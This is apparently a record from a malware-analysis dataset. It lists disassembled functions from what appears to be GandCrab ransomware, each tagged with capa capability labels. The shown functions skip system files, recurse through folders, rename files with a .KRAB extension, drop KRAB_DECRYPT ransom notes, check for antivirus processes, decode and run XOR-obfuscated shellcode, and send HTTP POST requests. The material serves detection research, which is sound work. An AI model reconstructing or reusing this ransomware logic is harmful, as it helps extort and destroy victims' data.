joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403e1e
Capabilities:
Get common file path
Get program files directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 4], edx
push 0x201
lea ecx, [ebp - 0x14]
call fcn.00402f51
push 0x200
lea ecx, [ebp - 0x14]
call fcn.00402f96
mov edx, str.ProgramData_
mov ecx, edi
mov ebx, eax
call fcn.0040571f
xor esi, esi
test eax, eax
jne 0x403f60
mov edx, str.IETldCache_
mov ecx, edi
call fcn.0040571f
test eax, eax
jne 0x403f60
mov edx, str.Boot_
mov ecx, edi
call fcn.0040571f
test eax, eax
jne 0x403f60
mov edx, str.Program_Files_
mov ecx, edi
call fcn.0040571f
test eax, eax
jne 0x403efe
mov edx, str.Tor_Browser_
mov ecx, edi
call fcn.0040571f
test eax, eax
jne 0x403f60
mov edx, str.All_Users_
mov ecx, edi
call fcn.0040571f
test eax, eax
jne 0x403f60
mov edx, str.Local_Settings_
mov ecx, edi
call fcn.0040571f
test eax, eax
jne 0x403f60
mov edx, str.Windows_
mov ecx, edi
call fcn.0040571f
test eax, eax
jne 0x403f60
push esi
push 0x2a
push ebx
push esi
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
test eax, eax
je 0x403f09
mov edx, ebx
mov ecx, edi
call fcn.0040571f
test eax, eax
je 0x403f09
mov eax, dword [ebp - 4]
mov dword [eax], 1
jmp 0x403f60
push esi
push 0x2b
push ebx
push esi
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
test eax, eax
je 0x403f25
mov edx, ebx
mov ecx, edi
call fcn.0040571f
test eax, eax
jne 0x403f60
push esi
push 0x24
push ebx
push esi
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
test eax, eax
je 0x403f41
mov edx, ebx
mov ecx, edi
call fcn.0040571f
test eax, eax
jne 0x403f60
push esi
push 0x1c
push ebx
push esi
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
test eax, eax
je 0x403f5d
mov edx, ebx
mov ecx, edi
call fcn.0040571f
test eax, eax
jne 0x403f60
xor esi, esi
inc esi
lea ecx, [ebp - 0x14]
call fcn.00402f85
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x403f71
Capabilities:
Manipulate boot configuration

Disassembly:
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenW]
push edi
mov edi, ecx
push edi
call esi
push edi
mov ebx, eax
call esi
lea esi, [edi - 2]
lea esi, [esi + eax*2]
dec ebx
je 0x403f9b
sub esi, 2
dec ebx
cmp word [esi], 0x5c
je 0x403f9b
test ebx, ebx
jne 0x403f8d
mov edi, dword [sym.imp.KERNEL32.dll_lstrcmpiW]
add esi, 2
push str.desktop.ini
push esi
call edi
test eax, eax
jne 0x403fb8
xor eax, eax
inc eax
jmp 0x40405d
push str.autorun.inf
push esi
call edi
test eax, eax
je 0x403fb0
push str.ntuser.dat
push esi
call edi
test eax, eax
je 0x403fb0
push str.iconcache.db
push esi
call edi
test eax, eax
je 0x403fb0
push str.bootsect.bak
push esi
call edi
test eax, eax
je 0x403fb0
push str.boot.ini
push esi
call edi
test eax, eax
je 0x403fb0
push str.ntuser.dat.log
push esi
call edi
test eax, eax
je 0x403fb0
push str.thumbs.db
push esi
call edi
test eax, eax
je 0x403fb0
push str.KRAB_DECRYPT.html
push esi
call edi
test eax, eax
je 0x403fb0
push str.KRAB_DECRYPT.txt
push esi
call edi
test eax, eax
je 0x403fb0
push str.CRAB_DECRYPT.txt
push esi
call edi
test eax, eax
je 0x403fb0
push str.ntldr
push esi
call edi
test eax, eax
je 0x403fb0
push str.NTDETECT.COM
push esi
call edi
test eax, eax
je 0x403fb0
push str.Bootfont.bin
push esi
call edi
neg eax
sbb eax, eax
inc eax
pop edi
pop esi
pop ebx
ret

Function at 0x4040ef
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push edi
mov edi, ecx
mov ecx, 0x400
call fcn.00405780
mov ebx, eax
test ebx, ebx
je 0x4041a4
push esi
push edi
lea esi, [ebx + 0x200]
push str._sKRAB_DECRYPT.txt
push esi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
xor edi, edi
push edi
push edi
push 1
push edi
push edi
push 0x40000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
mov dword [ebp - 4], esi
cmp esi, 0xffffffff
je 0x404178
push edi
lea eax, [ebp - 8]
push eax
push dword [0x42011c]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
push eax
push dword [0x42011c]
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, ebx
call fcn.00405791
mov eax, esi
jmp 0x4041a3
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
cmp eax, 0x50
je 0x40418f
call esi
cmp eax, 5
jne 0x40419a
xor edi, edi
inc edi
mov ecx, ebx
call fcn.00405791
mov eax, edi
jmp 0x4041a3
mov ecx, ebx
call fcn.00405791
xor eax, eax
pop esi
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4041aa
Capabilities:
Move file

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, ecx
mov ebx, edx
push edi
mov ecx, 0x200
call fcn.00405780
push esi
mov edi, eax
push str._s.KRAB
push edi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
mov ecx, esi
call fcn.00404061
test eax, eax
je 0x4041df
xor esi, esi
jmp 0x404209
mov ecx, esi
call fcn.00403f71
test eax, eax
jne 0x404206
cmp dword [ebx + 0x20], 2
jb 0x404206
mov edx, dword [ebp + 8]
mov ecx, esi
call fcn.00401221
test eax, eax
je 0x404206
push edi
push esi
call dword [sym.imp.KERNEL32.dll_MoveFileW]
xor esi, esi
inc esi
mov ecx, edi
call fcn.00405791
pop edi
mov eax, esi
pop esi
pop ebx
pop ebp
ret

Function at 0x404217
Capabilities:
Get common file path
Get disk information

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
mov dword [ebp - 4], ecx
mov ecx, 0x410
push esi
mov dword [ebp - 8], edx
or esi, 0xffffffff
call fcn.00405780
mov ebx, eax
test ebx, ebx
je 0x40433d
push edi
lea eax, [ebx + 0x400]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
mov ecx, 0xe0c
call fcn.00405780
mov edi, eax
test edi, edi
je 0x404335
push 0x100
push edi
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
xor eax, eax
lea ecx, [edi + 0x600]
mov word [edi + 6], ax
mov edx, 0x100
push edx
lea eax, [edi + 0x400]
push eax
lea eax, [edi + 0x604]
push eax
lea eax, [edi + 0x608]
push eax
push ecx
push edx
lea eax, [edi + 0x200]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
test eax, eax
je 0x40432e
movzx eax, word [ebx + 0x406]
lea ecx, [edi + 0x600]
xor eax, 8
push eax
movzx eax, word [ebx + 0x404]
xor eax, 7
push eax
movzx eax, word [ebx + 0x402]
xor eax, dword [ecx]
xor eax, 6
push eax
movzx eax, word [ebx + 0x400]
xor eax, dword [ecx]
xor eax, 5
push eax
push dword [ebp - 4]
push str._s_x_x_x_x.lock
push ebx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x1c
push 0
push 0x4000002
push 1
push 0
push 3
push 0x40000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
mov dword [ebp - 4], esi
cmp esi, 0xffffffff
jne 0x40432e
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
call esi
mov esi, dword [ebp - 4]
cmp eax, 0x50
jne 0x40432e
mov eax, dword [ebp - 8]
mov dword [eax], 1
mov ecx, edi
call fcn.00405791
mov ecx, ebx
call fcn.00405791
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x404345
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x264
push ebx
push esi
push edi
xor edi, edi
mov dword [esp + 0x14], edx
mov esi, ecx
mov dword [esp + 0x10], edi
cmp dword [ebp + 8], edi
jne 0x404381
lea edx, [esp + 0x10]
call fcn.00403e1e
mov ebx, dword [esp + 0x10]
test eax, eax
jne 0x404384
test ebx, ebx
jne 0x404384
xor eax, eax
jmp 0x4044af
xor ebx, ebx
inc ebx
mov ecx, esi
call fcn.004040ef
test eax, eax
jne 0x404395
cmp word [esi], 0x5c
je 0x40437a
lea edx, [esp + 0x10]
mov dword [esp + 0x10], edi
mov ecx, esi
call fcn.00404217
mov dword [esp + 0x1c], eax
cmp dword [esp + 0x10], edi
jne 0x40437a
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push 0x413834
push esi
lea eax, [esi + eax*2]
mov dword [esp + 0x18], eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [esp + 0x20]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov ecx, dword [esp + 0x10]
xor edx, edx
mov dword [esp + 0x18], eax
mov word [ecx], dx
cmp eax, 0xffffffff
jne 0x4043f0
mov edi, 0xdeadbeaf
jmp 0x4044a3
push 0x413838
lea eax, [esp + 0x50]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x404482
push 0x41383c
lea eax, [esp + 0x50]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x404482
lea eax, [esp + 0x4c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
test byte [esp + 0x20], 0x10
je 0x404469
test ebx, ebx
je 0x40445a
mov edx, 0x413844
mov ecx, esi
call fcn.0040571f
test eax, eax
je 0x404479
push 0x41384c
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 1
mov edx, dword [esp + 0x18]
mov ecx, esi
call fcn.00404345
jmp 0x404478
push 0x41384c
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push edi
jmp 0x40444d
push dword [esp + 0x14]
lea edx, [esp + 0x24]
mov ecx, esi
call fcn.004041aa
pop ecx
mov eax, dword [esp + 0x10]
xor ecx, ecx
mov word [eax], cx
lea eax, [esp + 0x20]
push eax
push dword [esp + 0x1c]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x4043f0
push dword [esp + 0x18]
call dword [sym.imp.KERNEL32.dll_FindClose]
push dword [esp + 0x1c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x404810
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
lea eax, [ebp - 4]
xor esi, esi
push eax
push 0x20019
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x404866
mov eax, dword [ebp + 0x18]
mov dword [ebp + 0xc], eax
lea eax, [ebp + 0xc]
push eax
push dword [ebp + 0x14]
push esi
push esi
push dword [ebp + 0x10]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x404853
inc esi
jmp 0x404859
call dword [sym.imp.KERNEL32.dll_GetLastError]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
jmp 0x404868
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret 0x18
Function at 0x404e71
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, 0x3000
push edi
push 4
push ebx
push 0x400
xor eax, eax
push eax
call esi
mov edi, dword [ebp + 8]
push 4
push ebx
push 4
xor ebx, ebx
mov dword [edi], eax
push ebx
mov dword [ebp - 0x48], str.AVP.EXE
mov dword [ebp - 0x44], str.ekrn.exe
mov dword [ebp - 0x40], str.avgnt.exe
mov dword [ebp - 0x3c], str.ashDisp.exe
mov dword [ebp - 0x38], str.NortonAntiBot.exe
mov dword [ebp - 0x34], str.Mcshield.exe
mov dword [ebp - 0x30], str.avengine.exe
mov dword [ebp - 0x2c], str.cmdagent.exe
mov dword [ebp - 0x28], str.smc.exe
mov dword [ebp - 0x24], str.persfw.exe
mov dword [ebp - 0x20], str.pccpfw.exe
mov dword [ebp - 0x1c], str.fsguiexe.exe
mov dword [ebp - 0x18], str.cfp.exe
mov dword [ebp - 0x14], str.msmpeng.exe
call esi
mov esi, eax
test esi, esi
jne 0x404f10
xor eax, eax
jmp 0x405044
push ebx
push 2
mov dword [esi], 0x22c
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov dword [ebp - 0x10], eax
cmp eax, 0xffffffff
jne 0x404f36
push 0x8000
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x404f09
push esi
xor ecx, ecx
mov dword [ebp - 8], ebx
push eax
mov dword [ebp + 8], ebx
mov dword [ebp - 4], ecx
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x405018
cmp dword [ebp - 4], 0
jne 0x404ff3
xor eax, eax
lea ecx, [esi + 0x24]
mov dword [ebp - 0xc], eax
push ecx
push dword [ebp + eax*4 - 0x48]
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x404f83
mov eax, dword [ebp - 0xc]
lea ecx, [esi + 0x24]
inc eax
mov dword [ebp - 0xc], eax
cmp eax, 0xe
jb 0x404f63
jmp 0x404fd6
xor eax, eax
cmp dword [ebp + 8], eax
lea ebx, [eax + 1]
lea eax, [esi + 0x24]
push eax
push dword [edi]
jne 0x404f9b
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
jmp 0x404fa1
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x413bf0
push dword [edi]
call dword [sym.imp.KERNEL32.dll_lstrcatW]
inc dword [ebp + 8]
lea eax, [esi + 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [ebp - 8]
push 1
lea ecx, [ecx + eax*2]
mov eax, dword [ebp - 4]
cmp ecx, 0x3c0
mov dword [ebp - 8], ecx
pop ecx
cmova eax, ecx
mov dword [ebp - 4], eax
push esi
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
je 0x404ff3
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x12
jne 0x404f51
test ebx, ebx
je 0x405010
mov eax, dword [edi]
xor ecx, ecx
cmp word [eax], cx
je 0x405010
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [edi]
xor edx, edx
mov word [ecx + eax*2 - 2], dx
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 8]
mov dword [eax], ecx
push 0x8000
xor eax, eax
push eax
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFree]
call esi
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
jne 0x405042
push 0x8000
xor eax, eax
push eax
push dword [edi]
call esi
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x405103
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
xor esi, esi
mov dword [ebp - 4], 0x5c3a78
push edi
mov edi, ecx
mov ebx, esi
lea eax, [ebx + 0x41]
mov byte [ebp - 4], al
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov ecx, eax
test edi, edi
je 0x405137
xor eax, eax
cmp ecx, 4
sete al
add dword [edi], eax
lea eax, [ecx - 2]
push 2
pop ecx
cmp ecx, eax
sbb ecx, ecx
inc ecx
add esi, ecx
inc ebx
cmp ebx, 0x1a
jb 0x405117
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40520a
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push 0x4051eb
push 0
call dword [sym.imp.KERNEL32.dll_AddVectoredExceptionHandler]
mov dword [0x420128], eax
test eax, eax
je 0x40525f
and dword [ebp - 8], 0
lea eax, [ebp - 8]
push eax
push 0x40
push dword [0x4161c4]
push 0x41f3c0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x40525f
and dword [ebp - 4], 0
push ebp
lea eax, [0x41f3c0]
call eax
pop ebp
mov dword [ebp - 4], ecx
xor eax, eax
cmp dword [ebp - 4], eax
sete al
jmp 0x405261
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x405265
Capabilities:
Encode data using xor

Disassembly:
lea esi, [0x41f3c0]
mov edi, esi
mov ecx, dword ds:[0x4161c4]
lodsb al, byte [esi]
xor al, 5
stosb byte es:[edi], al
dec ecx
jne 0x405274
call fcn.0040520a
ret
Function at 0x4052fa
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor ecx, ecx
mov dword [ebp - 0xc], eax
call fcn.00405103
mov dword [ebp - 8], eax
lea eax, [ebp - 0x38]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
call fcn.00405153
mov dword [ebp - 0x14], eax
pushal
call fcn.00405265
mov dword [ebp - 0x10], eax
popal
call fcn.00405281
mov edi, eax
mov esi, edx
shrd edi, esi, 0x1e
shr esi, 0x1e
cmp dword [ebp - 8], 1
jne 0x40534c
xor ebx, ebx
jmp 0x40535b
and dword [ebp - 4], 0
lea ecx, [ebp - 4]
call fcn.00405103
mov ebx, dword [ebp - 4]
mov eax, dword [ebp - 0xc]
xor edx, edx
mov ecx, 0x3e8
xorps xmm0, xmm0
div ecx
push 0x3c
pop ecx
xor edx, edx
div ecx
push 0x19
pop edx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
cmp dword [ebp - 0x10], 0
addsd xmm1, qword [eax*8 + 0x413d60]
mulsd xmm1, qword [0x413d50]
subsd xmm0, xmm1
cvttsd2si ecx, xmm0
je 0x4053a0
add ecx, edx
mov eax, dword [ebp - 8]
cmp eax, 1
jbe 0x4053af
imul eax, eax, 0xfffffffc
add ecx, eax
jmp 0x4053b2
add ecx, 0xa
mov eax, dword [ebp - 0x24]
cmp eax, 1
jbe 0x4053c1
imul eax, eax, 0xfffffffc
add ecx, eax
jmp 0x4053c4
add ecx, 0xa
test ebx, ebx
je 0x4053cd
imul eax, ebx, 0xfffffffa
add ecx, eax
cmp dword [ebp - 0x14], 0
je 0x4053d5
add ecx, edx
test esi, esi
ja 0x40542d
jb 0x4053e0
cmp edi, 0xa
ja 0x4053e4
add ecx, edx
jmp 0x405430
test esi, esi
ja 0x40542d
jb 0x4053ef
cmp edi, 0x14
ja 0x4053f4
add ecx, 0x12
jmp 0x405430
test esi, esi
ja 0x40542d
jb 0x4053fe
cmp edi, edx
ja 0x405403
add ecx, 0xf
jmp 0x405430
test esi, esi
jne 0x40542d
cmp edi, 0x3e8
jae 0x40542d
test esi, esi
jne 0x405428
cmp edi, 0x1f4
jae 0x405428
test esi, esi
jne 0x405424
cmp edi, 0x64
jb 0x405430
sub ecx, edx
jmp 0x405430
sub ecx, 0x32
jmp 0x405430
sub ecx, 0x64
pop edi
pop esi
mov eax, ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40563a
Capabilities:
Connect to http server
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
mov ebx, dword [sym.imp.WININET.dll_InternetCloseHandle]
push esi
mov esi, ecx
push edi
cmp dword [esi + 4], 0
je 0x405656
push dword [esi + 4]
call ebx
mov ecx, esi
call fcn.00405439
xor edi, edi
push edi
push edi
push 3
push edi
push edi
push dword [ebp + 0x34]
push dword [ebp + 8]
push dword [esi + 4]
call dword [sym.imp.WININET.dll_InternetConnectW]
mov dword [ebp + 8], eax
test eax, eax
je 0x405716
push 0x2800
lea ecx, [ebp - 0x10]
call fcn.00402f51
push 0x800
lea ecx, [ebp - 0x10]
call fcn.00402f96
push dword [ebp + 0xc]
mov esi, eax
push 0x412db4
push esi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
mov eax, 0x8484f700
cmp dword [ebp + 0x34], 0x1bb
mov ecx, 0x8404f700
cmove ecx, eax
push edi
push ecx
push edi
push edi
push 0x413478
push esi
mov esi, dword [ebp + 8]
push str.POST
push esi
call dword [sym.imp.WININET.dll_HttpOpenRequestW]
mov dword [ebp + 0x34], eax
test eax, eax
je 0x405706
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0x30]
push dword [ebp + 0x2c]
push eax
call dword [sym.imp.WININET.dll_HttpSendRequestW]
test eax, eax
je 0x4056fd
xor edi, edi
inc edi
jmp 0x405703
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov eax, dword [ebp + 0x34]
push eax
call ebx
push esi
call ebx
lea ecx, [ebp - 0x10]
call fcn.00402f85
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x30

Function at 0x4057a0
Capabilities:
Contain obfuscated stackstrings
Create new key via cryptacquirecontext

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
xor eax, eax
inc eax
push ebx
push esi
push edi
push 0xf0000000
push eax
xor esi, esi
lea eax, [ebp - 8]
push esi
push esi
push eax
mov edi, edx
mov ebx, ecx
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x405892
xor ecx, ecx
lea eax, [ecx + 0x61]
mov byte [ebp + ecx - 0x44], al
inc ecx
cmp ecx, 0x1a
jb 0x4057ce
lea eax, [edi + 1]
push eax
lea ecx, [ebp - 0x3c]
call fcn.00402f51
push edi
lea ecx, [ebp - 0x3c]
call fcn.00402f96
test eax, eax
jne 0x40580d
push eax
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
lea ecx, [ebp - 0x3c]
call fcn.00402f85
xor eax, eax
jmp 0x405894
lea eax, [ebp - 0x18]
mov dword [ebp - 0x28], 0x70797243
push eax
mov dword [ebp - 0x24], 0x6e654774
mov dword [ebp - 0x20], 0x646e6152
mov word [ebp - 0x1c], 0x6d6f
mov byte [ebp - 0x1a], 0
mov dword [ebp - 0x18], 0x61766441
mov dword [ebp - 0x14], 0x32336970
mov dword [ebp - 0x10], 0x6c6c642e
mov byte [ebp - 0xc], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
jne 0x405861
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
je 0x40587f
lea ecx, [ebp - 0x28]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40587f
push ebx
push edi
push dword [ebp - 8]
call eax
test eax, eax
push 1
pop eax
cmovne esi, eax
push 0
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
lea ecx, [ebp - 0x3c]
call fcn.00402f85
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x408e4b
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x415a50]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.00407a0a
mov dword [ebp - 0x14], eax
cmp dword [0x41ffa4], esi
jne 0x408f3e
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x408ecb
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x40901e
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x40901e
push str.MessageBoxW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40901e
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x41ffa4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x41ffa8], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x41ffac], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x41ffb4], eax
test eax, eax
je 0x408f3b
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x41ffb0], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x408f63
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x408f56
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x408f78
push 4
pop eax
jmp 0x409020
cmp dword [ebp - 0x14], esi
je 0x408f78
push dword [0x41ffa4]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x408f5d
mov eax, dword [0x41ffb0]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x408fd6
cmp dword [0x41ffb4], edi
je 0x408fd6
push eax
call ebx
push dword [0x41ffb4]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x408fd6
test eax, eax
je 0x408fd6
call ecx
test eax, eax
je 0x408fcb
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x408fcb
test byte [ebp - 8], 1
jne 0x408fd6
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x409006
mov eax, dword [0x41ffa8]
cmp eax, edi
je 0x409003
push eax
call ebx
test eax, eax
je 0x409003
call eax
mov esi, eax
test esi, esi
je 0x409003
mov eax, dword [0x41ffac]
cmp eax, edi
je 0x409003
push eax
call ebx
test eax, eax
je 0x409003
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x41ffa4]
call ebx
test eax, eax
je 0x40901e
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x409020
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004078ab
mov esp, ebp
pop ebp
ret